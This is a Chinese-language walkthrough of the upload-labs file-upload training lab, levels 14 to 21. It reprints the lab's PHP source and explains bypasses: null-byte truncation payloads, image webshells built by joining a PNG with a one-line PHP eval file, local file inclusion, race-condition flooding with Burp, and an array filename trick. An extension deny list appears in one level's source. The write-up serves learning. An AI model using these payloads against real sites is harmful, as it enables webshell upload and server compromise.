有些时候数据包中必须含有上传文件后的目录情况才可以用。 例如:数据包中存在 path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php%00 为什么修改path才可以? 因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名。 那么,攻击者修改了path以后的拼接结果为:uploads/aaa.php%00/20190818.php 移动文件的时候会将文件保存为:uploads/aaa.php 从而达到Getshell效果。 0x00截断 这时候就要利用0x00截断原理了,具体原理是 系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。 但要注意是文件的16进制内容里的00,而不是文件名中的00 !!!就是说系统是按16进制读取文件(或者说二进制), 遇到ascii码为零的位置就停止,而这个ascii码为零的位置在16进制中是00,用0x开头表示16进制,也就是所说的0x00截断 具体操作:


这里在php的后面添加了一个空格和字母a,其实写什么都可以,只是一般空格的16进制为0x20,比较好记,加个a好找到空格的位置,如果写个任意字符,再去查他的16进制表示也可以。然后打开hex,修改16进制内容:

修改完成后,原来的文本显示也发生了 变化:

那个方框的位置就是0x00,只不过这是一个不可见字符,无法显示。 当系统读取到方框,也就是0x00时,认为已经结束,不会再读取后面将要拼接的1.jpg,认为是php文件,完成绕过
第十四关:图片马
根据提示:本pass检查图标内容开头2个字节!

绕过方法:
// 合成图片马指令:
copy xxx.png/b + shell.php/a 生成文件名.png/jpg
// shell.php 一句话木马:
<?php @eval('phpinfo();'); ?>
准备好一张png图片和写好的shell.php,将两者合成为图片马 将合成的图片马进行上传,结合文件包含漏洞进行利用。 http://127.0.0.1/upload/include.php?file=upload/上传对应的文件.png


绕过原理:
<?php
function getReailFileType($filename){
$file = fopen($filename, "rb");//以只读方式打开一个二进制文件
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin); //从二进制字符串对数据进行解包
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
//调用函数判定文件类型
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
?>
第十五关:getimagesize()-图片马
根据提示:本pass使用getimagesize()检查是否为图片文件!

绕过方法: 绕过方法跟上一关一样。


绕过方法:
上一关是读取文件前两个字节的数据,用于判断文件类型。 这一关时候使用了php中的getimagesize函数,获取到图片的信息,再取出其文件后缀名进行对比。相当于是把上一关所写的函数封装起来了。
<?php
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
//获取图像大小及相关信息
$ext = image_type_to_extension($info[2]);
//根据指定的图像类型返回对应的后缀名
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
?>
第十六关:exif_imagetype()-图片马
根据提示:本pass使用exif_imagetype()检查是否为图片文件!

绕过方法: 绕过方法跟上一关一样。 先来尝试直接上传之前的文件,页面直接变黑了。源代码中提示需要开启php_exif模块。

打开PHP扩展 ---> 开启php_exif 模块。



绕过原理:
upload-labs之pass 16详细分析
第十七关:二次渲染
二次渲染:就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。 根据提示:本pass重新渲染了图片!

绕过方法: 绕过方法跟上一关一样。 图片上传之后呢,可以进行图片的放大、缩小、保存、删除等操作。像这种案例就涉及到二次渲染,先将图片上传到服务器 CMS 的头像
<?php
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
//basename() 函数返回路径中的文件名部分。
$fileext= substr(strrchr($filename,"."),1);// 获得上传文件的扩展名
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
$im = imagecreatefromjpeg($target_path);
//使用上传的图片生成新的图片
/*imagecreatefromjpeg,由文件或 URL 创建一个新图象,
成功则返回图像资源,失败返回false*/
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
//ulink:删除文件
}else{
//给新图片指定文件名
srand(time());
//根据系统时间生成一个随机数
$newfilename = strval(rand()).".jpg";
//strval — 获取变量的字符串值
$img_path = UPLOAD_PATH.'/'.$newfilename;
//生成新图片的存储路径
imagejpeg($im,$img_path);
//imagejpeg — 输出图象到浏览器或文件。
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
?>
第十八关:条件竞争
根据提示:本pass重新渲染了图片!

源码分析:
<?php
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
//取后缀名
$upload_file = UPLOAD_PATH . '/' . $file_name;
//生成文件上传存储路径
// 打印输出路径的情况
echo $upload_file;
echo '<br>';
echo $temp_file;
if(move_uploaded_file($temp_file, $upload_file)){
//将临时文件移动到存储路径
if(in_array($file_ext,$ext_arr)){
//判断文件后缀名是否合法
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
// 这里根据上面的规则给文件做了一个重新命名
// 这里有一个小操作,可以不断访问和这个文件上传地址,使其不能重新命名,利用正在执行的文件不可删除。(几率操作)
// 这个文件就无法重命名,可以尝试访问。
rename($upload_file, $img_path);
//合法则将文件重命名
$is_upload = true;
}else{
//不合法则删除报错,并删除文件
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
?>
通过分析源代码,可以发现存在逻辑漏洞 先将文件移动到存储目录后才进行判断是否合法 将文件移动到存储目录后才进行重命名 那我们修改一下源代码,尝试一下,看一下文件路径。
关
</div>
../upload/1.jpg<br>C:\Users\xiaohuang\AppData\Local\Temp\phpCD6C.tmpok../upload/3220210616023816.jpg
<div id="upload_panel">
<?php
==> echo $upload_file; // 文件上传之后的存储路径
../upload/1.jpg
echo '<br>';
==> echo $temp_file; // 将文件移动之后,重新命名前的临时存储路径
C:\Users\xiaohuang\AppData\Local\Temp\phpCD6C.tmpok
==> echo $img_path; // 文件重命名之后的文件存储路径
../upload/3220210616023816.jpg
?>
由此也就产生了漏洞,会有一个短暂的时间将我们上传的webshell存储在目录下,且以我们上传的文件名的形式 但是这个时间相当相当短暂,以至于,你打开上传目录,点击上传文件,你连影子都看不到就已经没了,所以这个时候我们可以使用burpsuite,我们先抓包,然后发送到intruder模块。 点击clear去除所有参数,然后payload选择无,并且选择持续发包。




补充:二次渲染只能靠这个条件竞争去绕过么? 二次渲染:说的是这个技术叫做二次渲染,不是说二次渲染有漏洞。 有漏洞可利用的原因是因为,他是在文件上传之后才有的后续操作,第一步的时候已经将文件上传到服务器上了。 如果这个二次渲染在第一步之前,这个二次渲染是没有任何问题的。 二次渲染不是漏洞,是一种技术,是一种逻辑上的验证,条件竞争。 利用条件竞争,防止他第二步操作。
第十九关:条件竞争-代码审计
根据提示:

源码分析:
<?php
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
//生成一个MyUpload类的对象
$status_code = $u->upload(UPLOAD_PATH);
//调用upload函数,传递的参数为默认存储目录
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
//如果上传成功,则返回上传的图片
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
?>
因此也存在条件竞争的问题,不过这题对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,因此可以通过不断上传图片马,由于条件竞争可能来不及重命名,从而上传成功。 http://127.0.0.1/upload/include.php?file=upload/上传对应的文件.png


第二十关:00截断 - 目录命名
根据提示:

源码分析:
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
// 验证格式
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
// $file_name 文件名字是由 $file_name = $_POST['save_name']; post 发送过来的。
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
目录命名:- x.php .
<?php
// 给上传的文件命名
==> $file_name = $_POST['save_name'];
// $file_name 文件名字是由 $file_name = $_POST['save_name']; POST参数 传递过来的。
==> $img_path = UPLOAD_PATH . '/' .$file_name;
UPLOAD_PATH . '/' .$file_name;
|
upload/upload-20.jpg
==> upload/upload-20.php/. 文件会以.php保存。但是系统验证会以 php/. 来验证。
这里放一个演示。
?>
目录,文件夹上的一个问题 内置函数的一个知识点。 文件目录上的问题。 绕过方法:控制文件名字、或者控制文件夹的名字。 apache解析漏洞,保存为phpinfo.php.xxx windows文件存储特性,加 .和空格 00截断 /.,move_uploaded_file会忽略掉文件末尾的/.(和windows存储特性不同,这个是函数的特性)。 通过BP 抓包,然后修改数据包 :upload-20.php%00.jpg 在文件后缀加上jep , 然后用 %00 进行截断。 上传.php文件,保存为.jpg文件,上传成功;上传.jpg文件,保存为.php文件,上传失败。这样看来校验的应该是保存的文件名,那么又需要看是白名单校验还是黑名单校验,还是上传.php文件,随便输入一个保存的文件名,随便输入一个后缀名,或者是不写后缀名,保存成功。说明是黑名单验证。那黑名单验证就有太多的绕过方式了。 那我们选择最简单的第四种方式:


第二十一关:数组接受 + 目录命名
根据提示:

源码分析:
<?php
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME,我们可以修改这个,来修改上传的文件格式。
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名,来判断文件名的情况。
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
// end 截取文件后缀
$ext = end($file);
// 上传类型检测,白名单。
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
// reset 获取文件名,不带后缀
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
?>
补充:
<?php
// 这是什么意思呢?这就是获取后缀名。
$file[count($file) - 1];
==> 1. count($file)
比如说:
xiaohuang.jpg
分隔为:
xiaohuang
.
jpg
x[0] = 'xiaohuang'
x[1] = '.'
x[2] = 'jpg'
// 合起来就是:
$file_name = reset($file) . '.' . $file[count($file) - 1];
==> 文件名.jpg
_____________________________________________________________________________________________
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
save_name[0] = 'sss.php/'
save_name[2] = 'jpg'
file = {'sss.php/','','jpg'}
$file_name = reset($file) . '.' . $file[count($file) - 1];
sss.php/
.
jpg
sss.php/.jpg
?>
分析源码中的主要流程: 校验Content-Type类型 取得提交的save_name参数或者是文件名赋值给$file,如果不是数组的话,以.为分隔符,将文件名拆散为数组 取出数组中的最后一个元素,进行后缀名判断 将数组中的array[0]与array[count($file)-1]拼接起来生成文件名 上面四个流程,表面上看上去是没有什么漏洞的,程序会校验数组的最后一个元素,经过校验之后,会将array[count(file的值是一个文件名,那么程序执行是正常的。如果是一个连续的数组,执行也依旧正常,但是当出现下图中的情况时,就可被绕过。








